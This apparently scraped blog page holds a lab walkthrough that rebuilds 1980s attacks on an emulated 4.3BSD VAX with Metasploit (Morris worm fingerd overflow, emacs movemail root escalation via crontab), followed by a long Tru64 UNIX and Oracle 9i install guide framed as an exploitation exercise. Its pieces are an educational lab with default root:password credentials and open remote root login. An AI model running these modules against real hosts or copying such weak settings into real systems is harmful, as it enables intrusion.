-rw-r–r– 1 root wheel 305683 Sep 3 22:58 /usr/pkgsrc/packages/All/xfce4-tumbler-0.2.7nb1.tgz
-rw-r–r– 1 root wheel 28936 Aug 30 23:02 /usr/pkgsrc/packages/All/xmlcatmgr-2.2nb1.tgz
-rw-r–r– 1 root wheel 30391 Aug 31 03:25 /usr/pkgsrc/packages/All/xmlto-0.0.28nb2.tgz
-rw-r–r– 1 root wheel 256506 Sep 3 21:18 /usr/pkgsrc/packages/All/xorg-cf-files-1.0.6nb5.tgz
-rw-r–r– 1 root wheel 25090 Aug 31 05:29 /usr/pkgsrc/packages/All/xorg-util-macros-1.19.2.tgz
-rw-r–r– 1 root wheel 53511 Aug 31 22:25 /usr/pkgsrc/packages/All/xosview-1.8.3nb2.tgz
-rw-r–r– 1 root wheel 1257125 Sep 4 20:48 /usr/pkgsrc/packages/All/xv-3.10anb25.tgz
-rw-r–r– 1 root wheel 447900 Sep 1 22:21 /usr/pkgsrc/packages/All/xvidcore-1.3.3nb1.tgz
-rw-r–r– 1 root wheel 1272000 Sep 1 15:11 /usr/pkgsrc/packages/All/yasm-1.3.0.tgz
-rw-r–r– 1 root wheel 3469492 Sep 4 20:28 /usr/pkgsrc/packages/All/youtube-dl-20190813.tgz
-rw-r–r– 1 root wheel 244819 Sep 1 15:08 /usr/pkgsrc/packages/All/zip-3.0nb3.tgz
-rw-r–r– 1 root wheel 688839 Sep 1 19:49 /usr/pkgsrc/packages/All/zstd-1.4.3.tgz

 

4.3BSD and Metasploit

$
0
0

One of the best InfoSec books of all time in my opinion is the Cliff Stoll’s Cuckoo’s Egg ( https://en.wikipedia.org/wiki/The_Cuckoo%27s_Egg) which pretty much covers all the hacking basics as well as the defence.  There is even a real movie/docu with real Cliff starring himself (I would still recommend reading the book though)

Main thing in this story is the iconic appearance of the mighty Berkeley UNIX (BSD) systems running on VAX computers along with the VAX VMS.   The book covers an intrusion to a university network in Berkeley, California and goes on describing the hunt for  the mysterious “hacker” who seems to be interested in military information and uses the Berkeley Labs computers as a jump host to other systems in the late 80s ARPANET/MILNET.

We can reconstruct some of the most interesting attacks that are covered in the book today thanks to the SIMH simulator https://github.com/simh/simh  and Metasploit Framework https://github.com/rapid7/metasploit-framework

Also please note there is an already excellent and very detailed howto created by Rapid7

https://blog.rapid7.com/2019/01/02/the-ghost-of-exploits-past-a-deep-dive-into-the-morris-worm/

And since Im not a big fan of docker ( Which the above Rapid7 blog entry refers to  @ https://github.com/wvu/ye-olde-bsd ) I have decided to write my own version.

This guide is for Linux x86_64 and the SIMH vax emulator compiled on it. Like all my other simulation exercises, this one will depend on the tun/tap and bridging.  I have prepared the ready-to use 4.3BSD (networking and emacs sources compiled + gcc 2.8 and bash 2 ) but if one wants to replicate step-by-step he can do so following this guide

http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH

http://plover.net/~agarvin/4.3bsd-on-simh.html

Both guides cover up all the needed, but if you do not wish to do this you can download the ready-made image which is available for download here -> www.sandokan.tk/release/4.3BSD-SIMH.tar.gz

The above gzipped tarball  contains following files

-rw-r--r-- 1 root root 622932480 Sep 22 22:30 4.3bsd.dsk
-rw-r--r-- 1 root root 445 Sep 22 21:29 boot.ini
-rw-r--r-- 1 root root 131072 Sep 22 21:28 ka655x.bin
-rw-r--r-- 1 root root 1024 Sep 22 22:20 nvram.dat
-rwxr-xr-x 1 root root 15 Sep 22 21:28 run.sh
-rwxr-xr-x 1 root root 1949200 Sep 22 21:56 vax

Where the 4.3bsd.dsk is the actual system image, boot.ini is the simh-vax loader config with following:

load -r ka655x.bin
; CPU config
set CPU 512m
set cr dis
set lpt dis
set rl dis
set ry dis
set ts dis
set xq dis
set rq0 ra82
att rq0 4.3bsd.dsk
set rq1 dis
set rq2 dis
set rq3 dis
att tq0 quas.tap
#att tq0 de_drivers.tape
set tti 7b
set tto 7b
att nvr nvram.dat
dep bdr 1
; Attach Ethernet to a network interface
set xq enable
set xq type=deqna
set xq mac=08-00-2B-AA-BB-CC
attach xq tap:tap0
boot cpu

ka655.bin is the VAX ROM, nvram.dat has the stored boot procedure for the vax and run.sh is the loader script for the whole simulation.

  • root:password   <— root user/password
  • user:password   <— 2nd user /password
  • gcc version 2.7.2.2
  • GNU bash, version 2.00.0(18)-release (vax-dec-bsd)
  • GNU Make version 3.75, by Richard Stallman and Roland McGrath.
  • GNU Emacs 17.61.1
  • And all bunch of ancient source code (DEC X11 included) in the /usr/CUSTOM/43new

Networking is hardcoded on the 4.3BSD and I use following values (please change accordingly to your needs!)

BSD> netstat -i 
----------------------------------------------------------------------------
Name  Mtu   Network     Address            Ipkts Ierrs    Opkts Oerrs  Coll
qe0   1500  10          10.0.2.10              7     0        8     0     0
lo0   1536  127         127.0.0.1              1     0        1     0     0
----------------------------------------------------------------------------
BSD> cat /etc/netstart

----------------------------------------------------------------------------
#!/bin/sh -
#
# @(#)netstart 1.1 (Berkeley) 1/10/99

routedflags=-q
rwhod=NO

# myname is my symbolic name
# my-netmask is specified in /etc/networks
#
hostname=bsd
hostname $hostname

ifconfig qe0 inet $hostname netmask my-netmask

ifconfig lo0 inet localhost
route add $hostname localhost 0
route add default 10.0.2.2 1
hostid $hostname

---------------------------------------------------------------------

BSD> cat /etc/resolv.conf 

nameserver 8.8.8.8

Next we will need the SIMH of course, which is downloadable from its official Github repo https://github.com/simh/simh and is pretty much straight forward to build and is well described here https://github.com/simh/simh#linuxosx-other-nix-platforms

Once SIMH is compiled place the vax binary into the 4.3BSD simulator directory (run.sh wants it – its just a simple loader ./vax boot.ini

(I have just noticed now I have included by mistake my own dynamically linked simh in the gzipped tarball, just delete it and compile your own)

For the full networking support (to have the simulator running in a virtual VLAN) I use the following script on my Linux host.  On Debian/Ubuntu just run sudo aptget install uml-utilities bridge-utils to get tunctl and brctl commands)

network.sh

tunctl -t tap0 -u user
ifconfig tap0 up
brctl addbr br0
brctl setfd br0 0
ifconfig br0 10.0.2.2 netmask 255.255.255.0 broadcast 10.0.2.255 up
brctl addif br0 tap0 
ifconfig tap0 0.0.0.0
sysctl net.ipv4.ip_forward=1
iptables --table nat -A POSTROUTING --out-interface wlan0 -j MASQUERADE

If you wish to add other virtual VLANs to the br0 just append your network device to brctl addif br0 tap0 

Once we have all this in place, run the above network.sh and execute the 4.3BSD simulation by running the ./run.sh

in order to boot the disk issue the following in the SIMH VAX ROM prompt

>>>boot dua0

once the system boots and you get to the login prompt you can login as root or user (both passwords are “password” without quotes)

We can even test the network now by pinging the simulation @ 10.0.2.10 or by ftp/telneting to it (I have made /etc/ttys exceptions for remote root login )

# name getty type status comments
#
console "/etc/getty Console-1200" unknown on secure
tty00 "/etc/getty std.9600" unknown off secure
tty01 "/etc/getty std.9600" unknown off secure
tty02 "/etc/getty std.9600" unknown off secure
tty03 "/etc/getty std.9600" unknown off secure
tty04 "/etc/getty std.9600" unknown off secure
tty05 "/etc/getty std.9600" unknown off secure
tty06 "/etc/getty std.9600" unknown off secure
tty07 "/etc/getty std.9600" unknown off secure
ttyp0 none network off secure
ttyp1 none network off secure
ttyp2 none network off secure 
ttyp3 none network off secure

I prefer to NMap the host first so here is the output from # nmap -sS -sV 10.0.2.10

Nmap scan report for 10.0.2.10
Host is up (0.0016s latency).
Not shown: 987 closed ports
PORT STATE SERVICE VERSION
7/tcp open echo
9/tcp open discard?
13/tcp open daytime
19/tcp open chargen
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp Sendmail 5.61.1.2/1.36
37/tcp open time (32 bits)
79/tcp open finger SGI IRIX or NeXTSTEP fingerd
512/tcp open exec
513/tcp open login
514/tcp open tcpwrapped
515/tcp open printer lpd (path: /usr/lib/lpd; error: lp: Malformed from address)

So next we can fire-up Metasploit framework and search for 4.3BSD exploits :)

So we will use exploit/bsd/finger/morris_fingerd_bof  first to get a RCE on the 4.3BSD first. This is the famous Morris Worm and here we can learn how it was exploiting the fingerd service on the 4.3BSD

Description:
This module exploits a stack buffer overflow in fingerd on 4.3BSD.
This vulnerability was exploited by the Morris worm in 1988-11-02.
Cliff Stoll reports on the worm in the epilogue of The Cuckoo’s Egg.
References:
https://en.wikipedia.org/wiki/Morris_worm
https://spaf.cerias.purdue.edu/tech-reps/823.pdf
http://computerarcheology.com/Virus/MorrisWorm/
https://github.com/arialdomartini/morris-worm
http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH

Next we choose the only one payload available for the VAX 4.3BSD and set RHOSTS and LHOST

We have all that’s needed, so “exploit” next to get a remote shell

We are “nobody” – how convenient – and we need to become somebody, preferably root

Next comes the best part – 4.3BSD privilege escalation as it was used by Markus Hess and possibly his friends Dirk Brzezinski and Peter Carl

So we background our session #1 on our 4.3BSD VAX and return back to Metasploit console

And this time we will use the emacs_movemail LPE against the session #1

Please note – the movemail setuid binary is not part of the base 4.3BSD install set and you will need to compile it yourself if you wish to use a custom 4.3BSD install, the set I have provided has the movemail binary as well as compiled emacs in place, so its easier to use in this example.

Description:
This module exploits a SUID installation of the Emacs movemail
utility to run a command as root by writing to 4.3BSD’s
/usr/lib/crontab.local. The vulnerability is documented in Cliff
Stoll’s book The Cuckoo’s Egg.
References:
https://en.wikipedia.org/wiki/Movemail
https://en.wikipedia.org/wiki/The_Cuckoo%27s_Egg
http://pdf.textfiles.com/academics/wilyhacker.pdf
https://www.gnu.org/software/emacs/manual/html_node/efaq/Security-risks-with-Emacs.html
https://www.gnu.org/software/emacs/manual/html_node/emacs/Movemail.html
https://mailutils.org/manual/html_node/movemail.html

Since the LPE exploit uses cron to prepare a setuid /bin/sh for us in /tmp we need to wait 1 minute (60 seconds) for the /tmp/sh file !

[*] Preparing crontab with payload
[*] Creating writable /usr/lib/crontab.local
[+] Writing crontab to /usr/lib/crontab.local
[!] Please wait at least one minute for effect
[*] Exploit completed, but no session was created.

Now lets return to your session #1

But shortly our setuid root owned /bin/sh will appear in /tmp :)

This time we are root and not nobody anymore

Now that was fun no ?  I leave out to the reader to explore other wonderful secrets of 4.3BSD – there are many other ways – FTPd, Telnet, EXEC, Logind  … also some other possible LPEs  ..

4.3BSD is considered to be the finest human software creation of all times https://spectrum.ieee.org/tech-talk/semiconductors/devices/the_best_software_ever_written and also by co-incidence the infamous Morris Worm (ranks #12 on the same scale) so I think this is something of a must for any computer classes out there doing any infosec lessons ;)

Here is a video demo of the above I have made last night

3rd module done by Rapid7 is the https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/smtp/morris_sendmail_debug.rb

This module exploits sendmail’s well-known historical debug mode to
escape to a shell and execute commands in the SMTP RCPT TO command.
This vulnerability was exploited by the Morris worm in 1988-11-02.
Cliff Stoll reports on the worm in the epilogue of The Cuckoo’s Egg.
Currently only cmd/unix/reverse and cmd/unix/generic are supported.

Tru64 5.1B Unix and Oracle 9i infosec exercise

$
0
0

This is something I have been working on for some time. People often forget older technology that becomes useless and obsolete, but I find it useful in infosec education as well as a platform to practice skills against unusual environment (obsolete commercial UNIX)

Since this is a lengthy article that will include multiple steps I will split it to 4 sections.

  1.  Pre-requsites
  2.  Installation of Tru64 5.1B UNIX in a simulator
  3.  Installation of Oracle 9i database inside simulated Tru64 5.1B UNIX
  4.  Exploitation of Oracle 9i and gaining remote SSH access to Tru64 UNIX

Pre-requisites

This exercise was done purely on Linux Mint 19.2 x86_64, and therefore a similar debian based system is optimal for use. We will need the alphavm_free Alpha emulator for x86_64 Linux as well as some Linux tools TUN/TAP  and bridgeutils

  • 64bit Linux – Debian based
  • 4 GB RAM  minimum+ 100 GB HDD (your average laptop – Im using the Panasonic CF-53 for this)
  • alphavm_free (https://drop.me/o2ewWBmd5sum 508f172a23d844663ec6d354c11c74a0
  • Networking scripts needed for TCP/IP in the simulator
  • apt-get install socat uml-utilities bridge-utils nmap
  • openjdk java (Im using openjdk version “11.0.4”)
# Typical networking script used along the simulator 
# Where the internet connected interface is the Wireless wlan0 
# This can of course be customized to ones needs 
# This script needs to be executed prior the simulator start as root 

tunctl -t tap0 -u user
ifconfig tap0 up
brctl addbr br0
brctl setfd br0 0
ifconfig br0 10.0.2.2 netmask 255.255.255.0 broadcast 10.0.2.255 up
brctl addif br0 tap0  
ifconfig tap0 0.0.0.0
sysctl net.ipv4.ip_forward=1
iptables --table nat -A POSTROUTING --out-interface wlan0 -j MASQUERADE

Installation of Tru64 5.1B UNIX in a simulator

So lets prepare the environment first on our Linux host (this will be the naming convention further on)

We start by creating  our working directory and 3 virtual disks

disk01.dd <—– 22 GB —- TRU64 5.1B + ORACLE
disk02.dd <—–   2 GB —- buffer backup space (not really needed)
$ mkdir $HOME/TRU64
$ cd $HOME/TRU64 

$ dd if=/dev/zero of=disk01.dd bs=1024 count=22M
$ dd if=/dev/zero of=disk02.dd bs=1024 count=2M

Next we download the Tru64 5.1B images , they are available on https://winworldpc.com/product/tru64/51b and we truly only need the CD1 ISO (but you can download them all)

Tru64 UNIX 5.1B – Disk 1 Operating System [DEC Alpha] 5.1B English Alpha CD 312.83MB

The GNU opensource pack for Tru64 ISO https://mega.nz/#!O00TTaoR!tiDuGfnPgtlc54BBTQo4_IEmyz5rQWvx9QjmIultD1g and the LIC ISO https://mega.nz/#!y10VEY5S!rJJ3JByYkHyaPssaBiMR5k7YeWiIVOBBP8exjeJKvX8

We shall save the iso files in the ISO directory of the $HOME/TRU64

drwxr-xr-x 3 root root 4096 Jul 20 22:49 .
drwxr-xr-x 5 root root 4096 Jul 29 20:54 ..
-rw-r--r-- 1 root root 562698240 May 17 21:18 gnu.tru64.iso
-rw-r--r-- 1 root root 911360 May 16 21:37 lic.iso
-rw-r--r-- 1 root root 676808704 Jan 17 2017 tru64-cd1.iso
-rw-r--r-- 1 root root 658432000 Jan 17 2017 tru64-cd2.iso
-rw-r--r-- 1 root root 616757248 Jan 17 2017 tru64-cd3.iso
-rw-r--r-- 1 root root 193886208 Jan 17 2017 tru64-cd4.iso

Next we create the config.emu to boot the first Tru64 5.1B ISO and place it in $HOME/TRU64

system {
 
    type = ds10_616;
    reported_type = default;
    num_cpus = 1;
    ssn = 'EmuVM-00-000-001';
    interval_clock_freq = 1000;
 
memory {
    size = 1024;
}
 
cpu {
    server = basic;
 
jit {
    async = yes;
}
}
 
serial com1 {
    server = socket;
    port = 3000;
}
 
scsi_controller qla0 {
    scsi_id = 7;
}
scsi_controller qla1 {
    scsi_id = 7;
}

scsi_disk dka0 {
        scsi_bus = 0;
        scsi_id = 0;
        scsi_lun = 0;
    file = 'disk01.dd';
    caching = no;
    write_through = yes;
}

scsi_disk dka1 {
        scsi_bus = 0;
        scsi_id = 2;
        scsi_lun = 0;
    file = 'disk02.dd';
    caching = no;
    write_through = yes;
}

scsi_cdrom iso {
       scsi_id = 4;
       file = 'ISO/tru64-cd1.iso';
}
 
ether eth0 {
    type = dec21040;
    server = tap;
    interface = 'tap0';
    mac_address = 0x08002B000001;
}
}

We create a connect.console.sh script in $HOME/TRU64

socat -,raw,echo=0,escape=0x1c tcp:127.0.0.1:3000

We should have the following files in $HOME/TRU64

-rwxr-xr-x 1 root root 3241128 Sep 23 21:56 alphavm_free
-rw-r--r-- 1 root root 850 Sep 26 21:13 config.emu
-rwxr--r-- 1 root root 50 Sep 23 21:46 connect.console.sh
-rw-r--r-- 1 root root 23622320128 Sep 28 22:13 disk01.dd
drwxr-xr-x 3 root root 4096 Sep 23 21:56 ISO

For the Tru64 5.1B simulations we need to use 2 terminal windows, in first A the simulator will run and in B the socat script will connect to

So we first start by running the simulator in terminal A as root  in  $HOME/TRU64

./alphavm_free config.emu

And connect to it from terminal B as normal user in $HOME/TRU64 by executing the connect.console.sh

./connect.console.sh

Once the Alpha firmware start to boot we will end up in the SRM console and we can tell it to boot the CD-ROM @ dka400

Then we go on installing Tru64 5.1B as per screenshots below

Now we need to be careful with the filesystem layout, look carefully on the selection, since any mistakes here will hinder the further exercise disfunctional

And installation will start from this step, it takes considerable amount of time (around 40 minutes to finish, so be patient)

IMPORTANT – After the installer finishes and re-compiles the new kernel, whole system goes automatically for reboot and will eventually get stuck in the following console screen

We need to terminate the simulator by CTRL+C in the terminal A since it gets stuck and tell the Alpha SRM console to boot single user so we can fix this. Again in terminal A launch the simulator

./alphavm_free config.emu

And in terminal B connect yet again via the connect.console.sh

Boot single user dua0 disk (with Tru64 5.1B installed on)

>>>> set boot_osflags s
>>>> boot dua0

Once in the root shell prompt remount / as RW

# mountroot -u /

Mount /usr

# mount /usr

Make tmp

# mkdir /var/tmp

Export term to vt100

# TERM=vt100 
# export TERM

Disable the lat service

# chmod a-x /sbin/init.d/lat

Remove the LAT reference from /etc/rc.config  ;delete below lines using vi editor

LAT_SETUP="1"
export LAT_SETUP

Shutdown the system

# shutdown -p now

Restart the terminal A simulator again

./alphavm_free config.emu

Connect to the simulator from terminal B and set multiuser boot in Alpha SRM console and boot the system

>>>> set boot_osflags a
>>>> boot dka0

We shoud be able to login now to the freshly installed Tru64 5.1B UNIX but we will exit the installer for now (option 6) since we will need to load the LIC script on first.

So shut down the Tru64 5.1B UNIX again

# shutdown -p now

In the $HOME/TRU64 on our Host we edit the config.emu file and add the LIC.ISO under the scsi cdrom section as follows

scsi_cdrom iso {
scsi_id = 4;
file = 'ISO/lic.iso';
}

Next we run the simulator from Terminal A again

./alphavm_free config.emu

Connect to it from Terminal B via the connect.console.sh

./connect.console.sh

Boot the system  from the Alpha SRM console

>>> boot dka0

Login as root and mount the virtual scsi CDROM and execute the file.sh

# mkdir /mnt/cdrom 
# mount -t cdfs -o noversion /devices/disk/cdrom0c /mnt/cdrom
# cd /mnt/cdrom
# ./file.sh

Now that we are done installing the LICs we can check if they are loaded properly

# lmf list

<-----CUT------> 
ACAS-RT active unlimited
ACAS-DEV active unlimited
ACAS active unlimited
ABS-UNIX-CLIENT-USER active unlimited
ABS-NT-CLIENT-USER active unlimited
ABDAS-U active unlimited
400-SMTP-GW active unlimited

So we are almost done here – now lets setup the network, start sysman

# sysman Networking

Next we shall set the fixed IP address that I will be using throughout the exercise, so if you wish to go custom, keep that in mind and change accordingly. We will use the following values

  • tru64.virtual.com    10.0.2.100    – static
  • gateway                   10.0.2.2
  • dns                            8.8.8.8

So once we are done we can check we can ping the gateway and see if the newtork is up

# ifconfig -a
lo0: flags=100c89<UP,LOOPBACK,NOARP,MULTICAST,SIMPLEX,NOCHECKSUM>
inet 127.0.0.1 netmask ff000000 ipmtu 4096

sl0: flags=10<POINTOPOINT>

tu0: flags=c63<UP,BROADCAST,NOTRAILERS,RUNNING,MULTICAST,SIMPLEX>
inet 10.0.2.100 netmask ffffff00 broadcast 10.0.2.255 ipmtu 1500

tu1: flags=c22<BROADCAST,NOTRAILERS,MULTICAST,SIMPLEX>

tun0: flags=80<NOARP>

tun1: flags=80<NOARP>

Next we need to configure the DNS client , start sysman again

# sysman Networking

Lets see if all works

# ping netbsd.org
PING netbsd.org (199.233.217.205): 56 data bytes
64 bytes from 199.233.217.205: icmp_seq=0 ttl=240 time=165 ms
64 bytes from 199.233.217.205: icmp_seq=1 ttl=240 time=159 ms
^C

----netbsd.org PING Statistics----
2 packets transmitted, 2 packets received, 0% packet loss
round-trip (ms) min/avg/max = 159/162/165 ms

Looks good  now ! :) Lets now setup a few other things now like a local user so that we  can use a CDE desktop in Tru64 5.1B via Xephyr from our Host, but most importanly the VNC server so that we can install Oracle 9i – X11 forwarding is a little tricky to get right via Xephyr so its actually much easier to install VNC server from the GNU toolkit ISO and use VNC client from the Host to configure everything (hell you can even tunnel VNC over SSH if you are a security freak)

We can simply try if Xephyr will catch the remote X11 dekstop from the simulated Tru64 5.1B by running the following from a new Terminal on our Linux Host

$linux box > Xephyr -screen 980x640 -ac -query 10.0.2.100 :3

But since root login is forbidden to log-on via network by defaut on Tru64 5.1B we will need to configure the local users first.

Lets shut down Tru64 again so we can add  the GNU toolkit ISO to the config.emu issue the shutdown command from Terminal B

# shutdown -p now

Swap the lic.iso for the gnu.tru64.iso

scsi_cdrom iso {
scsi_id = 4;
file = 'ISO/gnu.tru64.iso';
}

Boot the simulator again from Terminal A by running

./alphavm_free config.emu

Connect to Alpha SRM console from Termianl B

./connect.console.sh

Boot the system  from the Alpha SRM console

>>> boot dka0

Once logged in as root in Tru64, mount the GNU.ISO cdrom and execute the rpm-init.ksh

# mount -t cdfs -o noversion /devices/disk/cdrom0c /mnt
# cd /mnt
# cd setup
# ./rpm-init.ksh
Restoring the rpmkit archive...
initializing your new rpm database...
Finished installing RPM on your system.

Install the needed rpms

# cd ..
# cd rpms/alpha 
# /usr/local/bin/rpm -ivh texinfo-4.0-4.alpha.rpm
# /usr/local/bin/rpm -ivh bash-2.05-5.alpha.rpm
# /usr/local/bin/bash 
# /usr/local/bin/rpm -ivh vnc-3.3.3-2.alpha.rpm
# /usr/local/bin/rpm -ivh wget-1.6-4.alpha.rpm

We should be ready now for the next step – installing Oracle 9i

Installation of Oracle 9i database inside simulated Tru64 5.1B UNIX

So lets download the Oracle install sets now. We get the Oracle Tru64 9201 disk images from https://mirrors.pdp-11.ru/_alpha/_oracle/9.201/ The download will take some time so be patient (takes about 2 hrs via wget)

Back on Tru64

# mkdir /usr/oracle
# cd /usr/oracle 
# /usr/local/bin/wget http://mirrors.pdp-11.ru/_alpha/_oracle/9.201/Tru64_9201_Disk1.cpio.gz
# /usr/local/bin/wget http://mirrors.pdp-11.ru/_alpha/_oracle/9.201/Tru64_9201_Disk2.cpio.gz
# /usr/local/bin/wget http://mirrors.pdp-11.ru/_alpha/_oracle/9.201/Tru64_9201_Disk3.cpio.gz
# /usr/local/bin/wget http://mirrors.pdp-11.ru/_alpha/_oracle/9.201/Tru64_9201_Disk4.cpio.gz

When we finish downloading we should have these files

bash-2.05# ls -al
total 2136200
drwxr-xr-x 2 root system 8192 Sep 26 22:13 .
drwxr-xr-x 30 root system 8192 Sep 26 21:10 ..
-rw-r--r-- 1 root system 588524171 Dec 17 2003 Tru64_9201_Disk1.cpio.gz
-rw-r--r-- 1 root system 492737069 Dec 17 2003 Tru64_9201_Disk2.cpio.gz
-rw-r--r-- 1 root system 592357965 Dec 17 2003 Tru64_9201_Disk3.cpio.gz
-rw-r--r-- 1 root system 513816553 Dec 17 2003 Tru64_9201_Disk4.cpio.gz
Next we unzip them

bash-2.05# gunzip Tru64_9201_Disk1.cpio.gz
bash-2.05# gunzip Tru64_9201_Disk2.cpio.gz
bash-2.05# gunzip Tru64_9201_Disk3.cpio.gz
bash-2.05# gunzip Tru64_9201_Disk4.cpio.gz

And then unpack the cpio archives

bash-2.05# cpio -idcmv < Tru64_9201_Disk1.cpio
bash-2.05# cpio -idcmv < Tru64_9201_Disk2.cpio
bash-2.05# cpio -idcmv < Tru64_9201_Disk3.cpio
bash-2.05# cpio -idcmv < Tru64_9201_Disk4.cpio

Next we delete the cpio archives as they are not needed anymore and we would need the space

bash-2.05# rm *.cpio

We should have 4 directories now in /usr/oracle

bash-2.05# ls -al
total 48
drwxr-xr-x 6 root system 8192 Sep 26 23:37 .
drwxr-xr-x 30 root system 8192 Sep 26 21:10 ..
drwxr-xr-x 8 2840 42424 8192 Jun 14 2002 Disk1
drwxr-xr-x 3 2840 42424 8192 Jun 14 2002 Disk2
drwxr-xr-x 3 2840 42424 8192 Jun 14 2002 Disk3
drwxr-xr-x 3 2840 42424 8192 Jun 14 2002 Disk4

Next we check the Tru64 5.1B Kernel parameters and adust the needed for Oracle 9i

bash-2.05# /sbin/sysconfig -q ipc
ipc:
msg_max = 8192
msg_mnb = 16384
msg_mni = 64
msg_tql = 40
shm_max = 4194304
shm_min = 1
shm_mni = 128
shm_seg = 32
sem_mni = 16
sem_msl = 25
sem_opm = 10
sem_ume = 10
sem_vmx = 32767
sem_aem = 16384
sem_broadcast_wakeup = 0
max_kernel_ports = 93728
ssm_threshold = 8388608
ssm_enable_core_dump = 1
shm_allocate_striped = 1
shm_enable_core_dump = 1
pshared_hash_size = 2048
bash-2.05#
bash-2.05# /sbin/sysconfig -q proc
proc:
max_proc_per_user = 256
max_threads_per_user = 1024
per_proc_stack_size = 8388608
max_per_proc_stack_size = 33554432
per_proc_data_size = 134217728
max_per_proc_data_size = 1073741824
max_per_proc_address_space = 4294967296
per_proc_address_space = 4294967296
executable_stack = 0
autonice = 0
autonice_time = 600
autonice_penalty = 4
open_max_soft = 4096
open_max_hard = 4096
ncallout_alloc_size = 8192
round_robin_switch_rate = 0
sched_min_idle = 0
give_boost = 1
maxusers = 1024
num_wait_queues = 1024
num_timeout_hash_queues = 1024
enhanced_core_name = 0
enhanced_core_max_versions = 16
exec_disable_arg_limit = 0
dump_cores = 1
dump_setugid_cores = 0

We will need to append to the end of /etc/sysconfigtab the following values

vm:
vm_bigpg_enabled = 0

ipc:
shm_max = 4278190080
shm_min = 1
shm_mni = 256
shm_seg = 128

proc:
max_per_proc_stack_size = 33554432
per_proc_stack_size = 33554432
per_proc_data_size = 335544320

vfs:
fifo_do_adaptive = 0

So the final result  will look like this

<---CUT----> 
vm:
swapdevice=/dev/disk/dsk0g
vm-swap-eager=1
vm_bigpg_enabled = 0

ipc:
shm_max = 4278190080
shm_min = 1
shm_mni = 256
shm_seg = 128

proc:
max_per_proc_stack_size = 33554432
per_proc_stack_size = 33554432
per_proc_data_size = 335544320

vfs:
fifo_do_adaptive = 0

We need to reboot Tru64 5.1B in order for the changes to kick in

# reboot

Once rebooted check we have Java in place

# java -version
java version "1.3.1"
Java(TM) 2 Runtime Environment, Standard Edition
Fast VM (build 1.3.1-2, native threads, mixed mode, 01/16/2002-13:22)

Create the new groups and users.

# groupadd oinstall
# groupadd dba
# groupadd oper
# groupadd apache
# useradd -g oinstall -G dba -m oracle
# passwd oracle

# useradd -g oinstall -G apache apache
# passwd apache

Create the directories in which the Oracle software will be installed.

# mkdir -p /usr/u01/app/oracle/product/9.2.0.1.0
# chown -R oracle.oinstall /usr/u01/app
# ln -s /usr/u01 /

Lets start the VNC server now so we can configure and install Oracle
Login as oracle

# su - oracle 
tru64.virtual.com>

Now we need to add some paths to the Oracle .profile

tru64.virtual.com> vi .profile
if [ ! "$DT" ]; then
stty dec
tset -I -Q
fi
PS1="`hostname`> "
MAIL=/usr/spool/mail/$USER
PATH=/sbin:/usr/sbin:/usr/bin:/usr/ccs/bin:/usr/bin/X11:/usr/local/bin
export PATH
# Oracle 9i
ORACLE_BASE=/u01/app/oracle; export ORACLE_BASE
ORACLE_HOME=$ORACLE_BASE/product/9.2.0.1.0; export ORACLE_HOME
ORACLE_TERM=xterm; export ORACLE_TERM
PATH=$PATH:$ORACLE_HOME/bin:/usr/opt/java131/bin; export PATH
ORACLE_SID=TSH1; export ORACLE_SID
LD_LIBRARY_PATH=$ORACLE_HOME/lib; export LD_LIBRARY_PATH
CLASSPATH=$ORACLE_HOME/JRE:$ORACLE_HOME/jlib:$ORACLE_HOME/rdbms/jlib; export CLASSPATH
DISPLAY=tru64.virtual.com:1.0; export DISPLAY
stty erase ^H 
ksh -o emacs
set filec
tru64.virtual.com> bash 
bash-2.05$ vncserver :1

But we want to have a nice CDE desktop right ? Exit VNC session and kill vncserver

bash-2.05$ vncserver -kill :1

Lets edit the xstartup script

bash-2.05$ vi $HOME/.vnc/xstartup

And make sure we init CDE instead of TWM

#!/bin/sh
/usr/dt/bin/Xsession &

Again we start VNC server on our Tru64

bash-2.05$ vncserver :1

And conncet from your Linux Host via VNC client, once in VNC  CDE session open a terminal and run

$ xhost +tru64.virtual.com

Its better to save the above comman in the oracle $HOME/ .profie

We are ready to start the Oracle Universal Installer (OUI) from the VNC CDE terminal  by issuing the following command in the Disk1 directory.

$ cd /usr/oracle/Disk1 
$ ./runInstaller

Continue with the installation as normal. I will share the Oracle installer screenshots next.

Here we need to got to Terminal A and exit from the oracle shell back to root so we can run the /tmp/oraInstRoot.sh script

(remember the pesky noexecs on /tmp on hardened Linux systems :) ) After it runs return back to the VNC CDE session and click “continue”

Oracle 9i Tru64 5.1B Post Installation

Edit the “/etc/oratab” file setting the restart flag for each instance to ‘Y’.

TSH1:/u01/app/oracle/product/9.2.0.1.0:Y

Create a file called /sbin/init.d/oracle containing the following.

Best way is to FTP this to the simulated Tru64, since the native vi buffer is small

#!/bin/sh
#
# change the value of ORACLE_HOME to be correct for your
# installation
ORACLE_HOME=/u01/app/oracle/product/9.2.0.1.0
PATH=${PATH}:$ORACLE_HOME/bin
HOST=`hostname`
#
# change the value of ORACLE to the login name of the
# oracle owner at your site
#
ORACLE=oracle
export ORACLE_HOME PATH
#
if [ ! "$2" = "ORA_DB" ] ; then
rsh $HOST -l $ORACLE /sbin/init.d/oracle $1 ORA_DB
exit
fi
#
LOG=$ORACLE_HOME/startup.log
touch $LOG
chmod a+r $LOG
#

case $1 in
'start')
echo "$0: starting up" >> $LOG
date >> $LOG
# Start Oracle Net
if [ -f $ORACLE_HOME/bin/tnslsnr ] ;
then
echo "starting Oracle Net listener"
$ORACLE_HOME/bin/lsnrctl start >> $LOG 2>&1 &
fi
echo "starting Oracle databases"
$ORACLE_HOME/bin/dbstart >> $LOG 2>&1
;;
'stop')
echo "$0: shutting down" >> $LOG
date >> $LOG
# Stop Oracle Net
if [ -f $ORACLE_HOME/bin/tnslsnr ] ;
then
echo "stopping Oracle Net listener"
$ORACLE_HOME/bin/lsnrctl stop >> $LOG 2>&1
fi
echo "stopping Oracle databases"
$ORACLE_HOME/bin/dbshut >> $LOG 2>&1
;;
*)
echo "usage: $0 {start|stop}"
exit
;;
esac
#
exit

On Tru64 move the oracle file to /sbin/init.d/

bash-2.05# mv /usr/users/oracle/oracle /sbin/init.d/
bash-2.05# chmod 750 /sbin/init.d/oracle
bash-2.05# ln -s /sbin/init.d/oracle /sbin/rc3.d/S99oracle
bash-2.05# ln -s /sbin/init.d/oracle /sbin/rc0.d/K01oracle

